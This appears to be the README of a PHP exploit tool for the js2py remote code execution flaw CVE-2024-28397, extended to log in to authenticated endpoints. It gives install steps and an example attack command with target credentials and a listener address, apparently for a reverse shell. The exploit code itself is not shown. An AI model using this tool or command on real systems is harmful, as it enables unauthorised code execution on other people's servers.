This script incorporates authentication to access a protected endpoint where the target server requires user login credentials.
CodeTwoRCEExploit.php is a PHP-based remote code execution (RCE) exploit tool targeting a vulnerability in the js2py library (CVE-2024-28397) in applications leveraging the js2py JavaScript interpreter for Python. This exploit allows the attacker to execute arbitrary code by injecting malicious JavaScript payload. This version is a modification of the original 0timeday script, enhanced to support authentication mechanisms. It is designed for use in environments where access to the vulnerable endpoint is restricted and requires valid user credentials, making it suitable for exploiting authenticated targets.
git clone https://github.com/Leilamag/CodeTwoRCEExploit
cd CodeTwoRCEExploit
sudo apt install composer
Install Guzzle run this command
composer require guzzlehttp/guzzle
Run the command below to set the tool up with the required packages
composer init
Then paste this after running the above to create the vendor required in the script
vendor/autoload.php
Run this command to get help on how to use the tool
php CodeTwoRCEExploit.php
Usage
php CodeTwoRCEExploit.php -t <target_ip> -l <listener_ip> -u <username> -w <password> [-p <target_port>] [-P <target_uri>] [-r <listener_port>] [-v]
Example
php CodeTwoRCEExploit.php -t 10.10.11.82 -p 8000 -P /run_code -l 10.10.10.10 -r 4444 -u username -w password -v